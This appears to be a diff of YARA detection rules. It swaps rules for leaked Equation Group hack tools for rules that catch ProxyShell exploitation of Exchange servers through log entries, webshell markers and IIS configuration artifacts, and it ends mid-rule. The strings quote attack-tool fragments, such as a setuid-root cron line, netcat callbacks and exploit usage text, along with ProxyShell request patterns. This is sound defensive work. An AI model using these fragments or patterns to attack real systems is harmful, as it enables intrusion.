-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L293-L308"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4de13f1cac8698fc86e44d29143877924aec4e6712415ee6b35810afed8072d6"
-		score = 75
+		id = "9b849042-8918-5322-a35a-2165d4b541d5"
+		date = "2021-08-08"
+		modified = "2021-08-09"
+		reference = "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "690e74633ac8671727fe47f6398e536c1b7a4ac469d27d3f7507c75e175716bd"
+		score = 50
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5c14e3bcbf230a1d7e2909876b045e34b1486c8df3c85fb582d9c93ad7c57748"
+		tags = "SCRIPT"
 
 	strings:
-		$s1 = "-c COMMAND: shell command string" fullword ascii
-		$s2 = "Cannot combine shell command mode with args to do socket reuse" fullword ascii
-		$s3 = "-r: Reuse socket for Nopen connection (requires -t, -d, -f, -n, NO -c)" fullword ascii
+		$xr1 = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(powershell|mapi\/nspi|EWS\/|X-Rps-CAT)[^\n]{1,400}401 0 0/ nocase ascii
+		$xr3 = /Email=autodiscover\/autodiscover\.json[^\n]{1,400}401 0 0/ nocase ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <30KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Electricslide : FILE
+rule SIGNATURE_BASE_EXPL_Exchange_Proxyshell_Successful_Aug21_1 : SCRIPT
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file electricslide"
+		description = "Detects successful ProxyShell exploitation attempts in log files"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5b1e5293-806a-58e6-b865-66025c8d8c32"
-		date = "2017-04-08"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L310-L326"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0803b61afc592d4fba523dc54d8f856a557b916a9f6e256efccd50178e8e024c"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d27814b725568fa73641e86fa51850a17e54905c045b8b31a9a5b6d2bdc6f014"
+		id = "8c11cd1a-6d3f-5f29-af61-17179b01ca8b"
+		date = "2021-08-08"
+		modified = "2021-08-09"
+		reference = "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L18-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "06ab609a8efe3b36b6356a9cf7b7b11b2fc2a556ec1df6995008a9df86b3fcee"
+		score = 85
+		quality = 83
+		tags = "SCRIPT"
 
 	strings:
-		$x1 = "Firing with the same hosts, on altername ports (target is on 8080, listener on 443)" fullword ascii
-		$x2 = "Recieved Unknown Command Payload: 0x%x" fullword ascii
-		$x3 = "Usage: eslide   [options] <-t profile> <-l listenerip> <targetip>" fullword ascii
-		$x4 = "-------- Delete Key - Remove a *closed* tab" fullword ascii
+		$xr1a = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(powershell|X-Rps-CAT)/ nocase ascii
+		$xr1b = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(mapi\/nspi|EWS\/)[^\n]{1,400}(200|302) 0 0/
+		$xr2 = /autodiscover\/autodiscover\.json[^\n]{1,60}&X-Rps-CAT=/ nocase ascii
+		$xr3 = /Email=autodiscover\/autodiscover\.json[^\n]{1,400}200 0 0/ nocase ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <2000KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Libxmexploit2 : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Aug21_2 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file libXmexploit2.8"
+		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST), size and content"
 		author = "Florian Roth (Nextron Systems)"
-		id = "30e94123-acc9-5185-9f5b-1f956c4cf3d1"
-		date = "2017-04-08"
+		id = "a351a466-695e-570e-8c7f-9c6c0534839c"
+		date = "2021-08-13"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L328-L343"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7bd88d15cca38e91c65e8373194e35ab9492a80eb27b22ad4000e192f2d9b886"
+		reference = "https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L36-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4ede197d482f0a9e553ba857b5049e7b7405e3df92460e19418fa0653c844982"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d7ed0234d074266cb37dd6a6a60119adb7d75cc6cc3b38654c8951b643944796"
 
 	strings:
-		$s1 = "Usage: ./exp command display_to_return_to" fullword ascii
-		$s2 = "sizeof shellcode = %d" fullword ascii
-		$s3 = "Execve failed!" fullword ascii
+		$s1 = "Page Language=" ascii nocase
 
 	condition:
-		( uint16(0)==0x457f and filesize <40KB and 1 of them )
+		uint32(0)==0x4e444221 and filesize <2MB and $s1
 }
-rule SIGNATURE_BASE_Equationgroup_Wrap_Telnet : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Aug21_3 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file wrap-telnet.sh"
-		author = "Florian Roth (Nextron Systems)"
-		id = "158e6ebc-6b43-5e94-9052-31408d848875"
-		date = "2017-04-08"
+		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be DER), size and content"
+		author = "Max Altgelt"
+		id = "a7bca62b-c8f1-5a38-81df-f3d4582a590b"
+		date = "2021-08-23"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L345-L360"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aa7fda8b95b697bb0541642677579f9db9df379048421481cdb66068032bf681"
+		reference = "https://twitter.com/gossithedog/status/1429175908905127938?s=12"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L51-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f071aaa8918b359f786f2ac7447eeaedb5a6fca9e0a0c0e8820e011244424503"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4962b307a42ba18e987d82aa61eba15491898978d0e2f0e4beb02371bf0fd5b4"
 
 	strings:
-		$s1 = "echo \"example: ${0} -l 192.168.1.1 -p 22222 -s 22223 -x 9999\"" fullword ascii
-		$s2 = "-x [ port to start mini X server on DEFAULT = 12121 ]\"" fullword ascii
-		$s3 = "echo \"Call back port2 = ${SPORT}\"" fullword ascii
+		$s1 = "Page Language=" ascii nocase
 
 	condition:
-		( uint16(0)==0x2123 and filesize <4KB and 1 of them )
+		uint16(0)==0x8230 and filesize <10KB and $s1
 }
-rule SIGNATURE_BASE_Equationgroup_Elgingamble
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Sep21_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file elgingamble"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fc8a63a1-9deb-5051-a02d-ed26fd1cae95"
-		date = "2017-04-08"
+		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST) and base64 decoded request"
+		author = "Tobias Michalski"
+		id = "d0d23e17-6b6a-51d1-afd9-59cc2404bcd8"
+		date = "2021-09-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L362-L378"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e561794d969b6198f71115087db8cc89043f2079252eef22458450e16596b0eb"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L67-L81"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "219468c10d2b9d61a8ae70dc8b6d2824ca8fbe4e53bbd925eeca270fef0fd640"
+		logic_hash = "233ec15dff8da5f2beaa931eb06849aa37e548947c1068d688a1695d977605d8"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0573e12632e6c1925358f4bfecf8c263dd13edf52c633c9109fe3aae059b49dd"
+		tags = "FILE"
 
 	strings:
-		$x1 = "* * * * * root chown root %s; chmod 4755 %s; %s" fullword ascii
-		$x2 = "[-] kernel not vulnerable" fullword ascii
-		$x3 = "[-] failed to spawn shell: %s" fullword ascii
-		$x4 = "-s shell           Use shell instead of %s" fullword ascii
+		$s = ".FromBase64String(Request["
 
 	condition:
-		1 of them
+		uint32(0)==0x4e444221 and any of them
 }
-rule SIGNATURE_BASE_Equationgroup_Cmsd : FILE
+rule SIGNATURE_BASE_APT_IIS_Config_Proxyshell_Artifacts : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file cmsd"
+		description = "Detects virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9cdd3562-fed4-5b79-b056-049279404eeb"
-		date = "2017-04-08"
+		id = "21888fc0-82c6-555a-9320-9cbb8332a843"
+		date = "2021-08-25"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L380-L397"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2b9c7ef750c2e45df7839395db51c93204bc9855f5de05bd59c50bb6a964bc8b"
-		score = 75
+		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L83-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a4557694629448d258b8b2fefc278e059217560e7a0ec3279863a16fb9b3989c"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "634c50614e1f5f132f49ae204c4a28f62a32a39a3446084db5b0b49b564034b8"
 
 	strings:
-		$x1 = "usage: %s address [-t][-s|-c command] [-p port] [-v 5|6|7]" fullword ascii
-		$x2 = "error: not vulnerable" fullword ascii
-		$s1 = "port=%d connected! " fullword ascii
-		$s2 = "xxx.XXXXXX" fullword ascii
+		$a1 = "<site name=" ascii
+		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
+		$sa1 = " physicalPath=\"C:\\ProgramData\\COM" ascii
+		$sa2 = " physicalPath=\"C:\\ProgramData\\WHO" ascii
+		$sa3 = " physicalPath=\"C:\\ProgramData\\ZING" ascii
+		$sa4 = " physicalPath=\"C:\\ProgramData\\ZOO" ascii
+		$sa5 = " physicalPath=\"C:\\ProgramData\\XYZ" ascii
+		$sa6 = " physicalPath=\"C:\\ProgramData\\AUX" ascii
+		$sa7 = " physicalPath=\"C:\\ProgramData\\CON\\" ascii
+		$sb1 = " physicalPath=\"C:\\Users\\All Users\\" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <30KB and 1 of ($x*)) or (2 of them )
+		filesize <500KB and all of ($a*) and 1 of ($s*)
 }
-rule SIGNATURE_BASE_Equationgroup_Ebbshave : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Exploitation_Aug21_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file ebbshave.v5"
+		description = "Detects unknown malicious loaders noticed in August 2021"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6d4c14e2-afb1-57ce-91df-cb024258250e"
-		date = "2017-04-08"
+		id = "1fa563fc-c91c-5f4e-98f1-b895e1acb4f4"
+		date = "2021-08-25"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L399-L415"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8a1a5ddefc646dc55161eb9b2a1b0e4176df7e99660db48b245af3ef9ab0871c"
-		score = 75
+		reference = "https://twitter.com/VirITeXplorer/status/1430206853733097473"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L108-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8a2417bb85c7f91d98143d2f4c26d30416b3a01ba8abc1445ccfae5609825b4d"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "eb5e0053299e087c87c2d5c6f90531cc1946019c85a43a2998c7b66a6f19ca4b"
 
 	strings:
-		$s1 = "executing ./ebbnew_linux -r %s -v %s -A %s %s -t %s -p %s" fullword ascii
-		$s2 = "./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772" fullword ascii
-		$s3 = "version 1 - Start with option #18 first, if it fails then try this option" fullword ascii
-		$s4 = "%s is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services" fullword ascii
+		$x1 = ");eval/*asf" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <20KB and 1 of them ) or (2 of them )
+		filesize <600KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Eggbasket : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Aug15 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file eggbasket"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3fb1388a-e6b8-5c7a-ad23-ddbfc9d33d56"
-		date = "2017-04-08"
+		description = "Webshells iisstart.aspx and Logout.aspx"
+		author = "Moritz Oettle"
+		id = "b1e6c0f3-787f-59b8-8123-4045522047ca"
+		date = "2021-09-04"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L417-L432"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4800d5c820a18d3483dc5c055c0e2f5374ce3b160ecb4d940a00ec4a90ca50d"
+		reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L122-L146"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7e2e2f9add5932d28074a252a8e326dd728442df28abc02e8d026d773dd4aa05"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b078a02963610475217682e6e1d6ae0b30935273ed98743e47cc2553fbfd068f"
 
 	strings:
-		$x1 = "# Building Shellcode into exploit." fullword ascii
-		$x2 = "%s -w /index.html -v 3.5 -t 10 -c \"/usr/openwin/bin/xterm -d 555.1.2.2:0&\"  -d 10.0.0.1 -p 80" fullword ascii
-		$x3 = "# STARTING EXHAUSTIVE ATTACK AGAINST " fullword ascii
+		$g1 = "language=\"JScript\"" ascii
+		$g2 = "function getErrorWord" ascii
+		$g3 = "errorWord" ascii
+		$g4 = "Response.Redirect" ascii
+		$g5 = "function Page_Load" ascii
+		$g6 = "runat=\"server\"" ascii
+		$g7 = "Request[" ascii
+		$g8 = "eval/*" ascii
+		$s1 = "AppcacheVer" ascii
+		$s2 = "clientCode" ascii
+		$s3 = "LaTkWfI64XeDAXZS6pU1KrsvLAcGH7AZOQXjrFkT816RnFYJQR" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <90KB and 1 of them ) or (2 of them )
+		filesize <1KB and (1 of ($s*) or 4 of ($g*))
 }
-rule SIGNATURE_BASE_Equationgroup_Jparsescan : FILE
+rule SIGNATURE_BASE_WEBSHELL_Mailbox_Export_PST_Proxyshell_Aug26 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file jparsescan"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6b6a884e-0bbc-54f5-bb6c-00e15ca95250"
-		date = "2017-04-08"
+		description = "Webshells generated by an Mailbox export to PST and stored as aspx: 570221043.aspx 689193944.aspx luifdecggoqmansn.aspx"
+		author = "Moritz Oettle"
+		id = "6aea414f-d27c-5202-84f8-b8620782fc90"
+		date = "2021-09-04"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L434-L448"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d86b6757abb5ad1902e91f100e6a6bea52e6e14684d184b6b8138270484275f4"
-		score = 75
+		reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L148-L174"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "07acbf74a4bf169fc128cd085759f33e89917e217703b3c6557ba5f954822fd4"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8c248eec0af04300f3ba0188fe757850d283de84cf42109638c1c1280c822984"
 
 	strings:
-		$s1 = "Usage:  $prog [-f directory] -p prognum [-V ver] [-t proto] -i IPadr" fullword ascii
-		$s2 = "$gotsunos = ($line =~ /program version netid     address             service         owner/ );" fullword ascii
+		$x1 = "!BDN"
+		$g1 = "Page language=" ascii
+		$g2 = "<%@ Page" ascii
+		$g3 = "Request.Item[" ascii
+		$g4 = "\"unsafe\");" ascii
+		$g5 = "<%eval(" ascii
+		$g6 = "script language=" ascii
+		$g7 = "Request[" ascii
+		$s1 = "gold8899" ascii
+		$s2 = "exec_code" ascii
+		$s3 = "orangenb" ascii
 
 	condition:
-		( filesize <40KB and 1 of them )
+		filesize <500KB and $x1 at 0 and (1 of ($s*) or 3 of ($g*))
 }
-rule SIGNATURE_BASE_Equationgroup_Sambal : FILE
+rule SIGNATURE_BASE_SUSP_IIS_Config_Proxyshell_Artifacts : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file sambal"
+		description = "Detects suspicious virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b02b442c-3e24-55f8-aa5c-926c3a3a75b4"
-		date = "2017-04-08"
+		id = "bde65d9e-b17d-5746-8d29-8419363d0511"
+		date = "2021-08-25"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L450-L467"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6066332b16996a9d8635d3752f46c6529cfc2c94d3d6f0c9791f2068c982bf3e"
-		score = 75
+		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L181-L196"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f2822a2b762c8e683c5e3a3f4a8232faa187b9a36182ea71e5286158b0e8115c"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2abf4bbe4debd619b99cb944298f43312db0947217437e6b71b9ea6e9a1a4fec"
 
 	strings:
-		$s1 = "+ Bruteforce mode." fullword ascii
-		$s3 = "+ Host is not running samba!" fullword ascii
-		$s4 = "+ connecting back to: [%d.%d.%d.%d:45295]" fullword ascii
-		$s5 = "+ Exploit failed, try -b to bruteforce." fullword ascii
-		$s7 = "Usage: %s [-bBcCdfprsStv] [host]" fullword ascii
+		$a1 = "<site name=" ascii
+		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
+		$s1 = " physicalPath=\"C:\\ProgramData\\" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <90KB and 1 of them ) or (2 of them )
+		filesize <500KB and all of ($a*) and 1 of ($s*)
 }
-rule SIGNATURE_BASE_Equationgroup_Pclean_V2_1_1_2 : FILE
+rule SIGNATURE_BASE_SUSP_IIS_Config_Virtualdir : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file pclean.v2.1.1.0-linux-i386"
+		description = "Detects suspicious virtual directory configured in IIS pointing to a User folder"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1b31af01-8c30-513a-a615-82dcb940e06d"
-		date = "2017-04-08"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L469-L483"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9323ef0c76348d242b010cf0f1c6a1bf5dd120a02418350bb0ed137f468ac624"
-		score = 75
+		id = "cfe5ca5e-a0cc-5f60-84d2-1b0538e999c7"
+		date = "2021-08-25"
+		modified = "2022-09-17"
+		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L198-L218"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0b9be085957f368bc1890c42e3f1e8b974eed8c77ecb4d2ba6add4d877a9b488"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cdb5b1173e6eb32b5ea494c38764b9975ddfe83aa09ba0634c4bafa41d844c97"
 
 	strings:
-		$s3 = "** SIGNIFICANTLY IMPROVE PROCESSING TIME" fullword ascii
-		$s6 = "-c cmd_name:     strncmp() search for 1st %d chars of commands that " fullword ascii
+		$a1 = "<site name=" ascii
+		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
+		$s2 = " physicalPath=\"C:\\Users\\" ascii
+		$fp1 = "Microsoft.Web.Administration" wide
+		$fp2 = "<virtualDirectory path=\"/\" physicalPath=\"C:\\Users\\admin\\"
 
 	condition:
-		( uint16(0)==0x457f and filesize <40KB and all of them )
+		filesize <500KB and all of ($a*) and 1 of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Equationgroup_Envisioncollision : FILE
+rule SIGNATURE_BASE_SUSP_ASPX_Possibledropperartifact_Aug21 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file envisioncollision"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8d512d9a-45a5-514a-bee1-a364beeaf560"
-		date = "2017-04-08"
+		description = "Detects an ASPX file with a non-ASCII header, often a result of MS Exchange drop techniques"
+		author = "Max Altgelt"
+		id = "52016598-74a1-53d6-812a-40b078ba0bb9"
+		date = "2021-08-23"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L485-L501"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8cd8c24b212ca71feb6093682fc614c88790c10d7c7d72dac65b047e5791894a"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxyshell.yar#L220-L250"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7e2fc61897ed859d5165aca7360d8a27891f842a7a8e4894af3926427ac95ceb"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "75d5ec573afaf8064f5d516ae61fd105012cbeaaaa09c8c193c7b4f9c0646ea1"
 
 	strings:
-		$x1 = "mysql \\$D --host=\\$H --user=\\$U --password=\\\"\\$P\\\" -e \\\"select * from \\$T" fullword ascii
-		$x2 = "Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\\\"sleep 500|nc" fullword ascii
-		$s3 = "$ua->agent(\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\");" fullword ascii
-		$s4 = "$url = $host . \"/admin/index.php?adsess=\" . $enter . \"&app=core&module=applications&section=hooks&do=install_hook\";" fullword ascii
+		$s1 = "Page Language=" ascii nocase
+		$fp1 = "Page Language=\"java\"" ascii nocase
 
 	condition:
-		( uint16(0)==0x2123 and filesize <20KB and 1 of ($x*)) or (2 of them )
